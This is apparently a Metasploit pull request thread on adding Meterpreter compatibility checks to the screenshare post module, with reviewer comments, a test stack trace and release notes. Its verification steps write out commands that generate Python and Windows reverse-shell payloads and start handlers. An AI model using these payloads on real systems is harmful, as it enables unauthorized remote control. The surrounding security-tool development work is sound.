Add meterpreter compatibility metadata to screenshare module

[adfoster-r7]

Building on the work of #15295 and #15659

Verification

1. Get a Python shell:

use payload/python/meterpreter_reverse_tcp
set LHOST 192.168.123.1
generate -o shell.py -f raw
to_handler

Verify validation works as expected:

use multi/manage/screenshare
run session=-1

Expected output:

[!] SESSION may not be compatible with this module (missing Meterpreter features: stdapi_ui_desktop_screenshot, stdapi_ui_send_keyevent, stdapi_ui_send_mouse, espia_image_get_dev_screen)
[] Using URL: http://127.0.0.1:8080/aKK5njyTRRh
[] Server started.

2. Get a windows shell:

use windows/meterpreter/reverse_https
set LHOST 192.168.123.1
set LPORT 4444
set SessionCommunicationTimeout 0
set ExitOnSession false

# Create the executable tun on on the VM
generate -o reverse.exe -f exe

# Create listener
to_handler

Verify validation works as expected:

use multi/manage/screenshare
run session=-1

Expected output:

[adfoster-r7]

This was just extracted into a method below, and it returns an array of issues instead of a string

[adfoster-r7]

I wanted to return the potential platform issue, as well as the meterpreter issues, so returning early wasn't the right pattern here for me.

Potential example:

[!] SESSION may not be compatible with this module (incompatible session platform: linux. missing Meterpreter features: stdapi_ui_desktop_screenshot, stdapi_ui_send_keyevent, stdapi_ui_send_mouse, espia_image_get_dev_screen)
[] Using URL: http://127.0.0.1:8080/WNOheBiKs
[] Server started.

[jmartin-tech]

Error from sanity test run for Linux meterpreter:

[*] resource (/home/msfuser/rapid7/test_artifacts/test_rc/linux-x64-meterpreter_reverse_tcp-192x168x16x127-30001.rc)> Ruby Code (13 bytes)
resource (/home/msfuser/rapid7/test_artifacts/test_rc/linux-x64-meterpreter_reverse_tcp-192x168x16x127-30001.rc)> run
[*] Setup: changing working directory to /tmp
[-] Post failed: NameError undefined local variable or method `s' for #<Msf::Modules::Post__Test__Meterpreter::MetasploitModule:0x00007f60aa51e3e0>
[-] Call stack:
[-]   /home/msfuser/rapid7/metasploit-framework/lib/msf/core/post_mixin.rb:311:in `meterpreter_session_incompatibility_reasons'
[-]   /home/msfuser/rapid7/metasploit-framework/lib/msf/core/post_mixin.rb:215:in `session_incompatibility_reasons'
[-]   /home/msfuser/rapid7/metasploit-framework/lib/msf/core/post_mixin.rb:52:in `setup'
[-]   /home/msfuser/rapid7/metasploit-framework/lib/msf/core/post.rb:28:in `setup'
[-]   /home/msfuser/rapid7/metasploit-framework/test/modules/post/test/meterpreter.rb:47:in `setup'
[*] Cleanup: changing working directory back to /home/vagrant/payload_test
[*] Cleanup: changing working directory back to /home/vagrant/payload_test
[*] Post module execution completed

[smcintyre-r7]

Changes look good, just left a few general comments.

[adfoster-r7]

Release Notes

Updates the multi/manage/screenshare module to use the Espia screenshot capabilities if present, and to gracefully fallback to using the normal screenshot behavior if it fails to load as expected.